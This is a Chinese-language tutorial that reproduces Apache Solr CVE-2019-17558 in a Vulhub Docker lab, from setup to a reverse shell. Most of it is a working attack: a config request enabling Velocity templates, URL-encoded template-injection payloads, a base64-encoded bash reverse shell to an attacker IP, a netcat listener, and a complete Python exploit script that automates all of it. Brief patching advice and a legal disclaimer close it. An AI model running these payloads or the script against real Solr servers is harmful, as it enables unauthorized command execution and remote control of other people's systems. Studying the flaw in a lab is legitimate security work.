手把手复现Apache Solr CVE-2019-17558漏洞:从环境搭建到反弹Shell(附Python脚本)
实战复现Apache Solr CVE-2019-17558漏洞:从环境搭建到Shell获取
在网络安全领域,漏洞复现是提升实战能力的重要途径。本文将带您一步步复现Apache Solr中的CVE-2019-17558漏洞,这是一个存在于Solr 5.0.0至8.3.1版本中的远程命令执行漏洞。通过Velocity模板注入,攻击者可以在目标系统上执行任意命令。
1. 实验环境准备
复现漏洞前,我们需要搭建一个包含漏洞的测试环境。推荐使用Docker快速部署Vulhub中的漏洞环境,这能避免污染本地系统。
首先确保系统已安装Docker和Docker Compose。在终端执行以下命令检查版本:
docker --version
docker-compose --version
如果未安装,可以参考官方文档进行安装。接下来,我们拉取Vulhub仓库并启动Solr 8.3.1环境:
git clone https://github.com/vulhub/vulhub.git
cd vulhub/solr/CVE-2019-17558
docker-compose up -d
环境启动后,Solr服务将运行在8983端口。可以通过浏览器访问 http://localhost:8983 验证是否成功启动。
常见问题排查:
- 如果端口冲突,可以修改docker-compose.yml中的端口映射
- 如果容器启动失败,检查系统资源是否充足
- 确保防火墙未阻止Docker网络
2. 漏洞原理分析
CVE-2019-17558漏洞源于Apache Solr的Velocity响应写入器(VelocityResponseWriter)功能。当Solr配置不当,允许用户提供自定义Velocity模板时,攻击者可以利用Velocity的模板特性执行任意Java代码。
漏洞利用需要满足两个条件:
params.resource.loader.enabled配置为true- 攻击者能够控制Velocity模板内容
Velocity模板引擎本身支持执行Java代码,这在设计上是正常功能,但Solr未对模板内容进行充分验证,导致攻击者可以通过精心构造的请求实现远程代码执行。
3. 漏洞利用步骤
3.1 确认Solr核心名称
首先需要确定目标Solr实例中的核心名称。Solr可以管理多个核心,每个核心相当于一个独立的搜索索引。通过以下API获取核心列表:
curl "http://localhost:8983/solr/admin/cores?indexInfo=false&wt=json"
在Vulhub环境中,通常会有一个名为"demo"的核心。如果使用其他环境,核心名称可能不同。
3.2 启用Velocity模板功能
默认情况下,Solr不允许用户提供自定义Velocity模板。我们需要通过修改配置来启用这一功能。发送以下POST请求:
curl -X POST -H "Content-Type: application/json" -d '{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}' "http://localhost:8983/solr/demo/config"
成功执行后,服务器将返回类似以下响应:
{"responseHeader":{"status":0,"QTime":123}}
3.3 执行简单命令验证漏洞
配置完成后,我们可以尝试执行简单命令验证漏洞是否存在。以下请求将执行 hostname 命令并返回结果:
http://localhost:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27hostname%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
URL解码后的模板内容如下:
#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($str=$x.class.forName('java.lang.String'))
#set($ex=$rt.getRuntime().exec('hostname'))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
3.4 获取反弹Shell
为了获得更持久的访问权限,我们可以设置反弹Shell。由于 Runtime.exec() 不支持管道符等bash特性,我们需要对命令进行编码处理。
首先准备反弹Shell命令,假设攻击机IP为192.168.1.100,监听端口为4444:
bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
将命令进行Base64编码:
echo "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1" | base64
得到编码结果后,构造以下URL:
http://localhost:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27bash%20-c%20{echo%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ%3D%3D}|{base64%2C-d}|{bash%2C-i}%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
在攻击机上使用netcat监听4444端口:
nc -lvnp 4444
执行漏洞利用请求后,应该能在netcat会话中获得Shell。
4. 自动化利用脚本
为了简化利用过程,我们可以编写Python脚本自动化执行上述步骤。以下是一个简单的PoC脚本:
import requests
import sys
import base64
def exploit(target, core, lhost, lport):
# 启用Velocity配置
config_url = f"{target}/solr/{core}/config"
config_data = {
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
try:
r = requests.post(config_url, json=config_data)
if r.status_code != 200:
print("[-] 配置更新失败")
return False
except Exception as e:
print(f"[-] 配置更新错误: {e}")
return False
# 准备反弹Shell命令
cmd = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
b64_cmd = base64.b64encode(cmd.encode()).decode()
payload = f"bash -c $@|base64 -d|bash -i echo {b64_cmd}"
# 构造Velocity模板
template = f"""#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($str=$x.class.forName('java.lang.String'))
#set($ex=$rt.getRuntime().exec('{payload}'))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end"""
# URL编码
params = {
"q": "1",
"wt": "velocity",
"v.template": "custom",
"v.template.custom": template
}
try:
print("[+] 发送漏洞利用请求...")
requests.get(f"{target}/solr/{core}/select", params=params, timeout=5)
except:
print("[+] 请求发送完成,请检查监听器")
return True
return False
if __name__ == "__main__":
if len(sys.argv) != 5:
print(f"用法: {sys.argv[0]} <目标URL> <核心名称> <监听IP> <监听端口>")
sys.exit(1)
target = sys.argv[1]
core = sys.argv[2]
lhost = sys.argv[3]
lport = sys.argv[4]
print(f"[*] 尝试利用 {target} 上的Solr漏洞...")
if exploit(target, core, lhost, lport):
print("[+] 漏洞利用成功,请检查Shell")
else:
print("[-] 漏洞利用失败")
使用脚本示例:
python solr_rce.py http://localhost:8983 demo 192.168.1.100 4444
5. 漏洞修复建议
完成漏洞复现后,请务必关闭测试环境:
docker-compose down
对于生产环境中的Solr实例,应采取以下防护措施:
- 升级Solr版本 :Apache官方已在新版本中修复此漏洞,建议升级到8.3.1之后的版本
- 禁用Velocity模板 :如不需要Velocity功能,可在solrconfig.xml中禁用VelocityResponseWriter
- 网络隔离 :将Solr服务置于内网,限制外部访问
- 最小权限原则 :运行Solr服务的账户应具有最小必要权限
注意:本文所述技术仅限授权测试和学习使用,未经授权对他人系统进行测试是违法行为。
更多推荐

所有评论(0)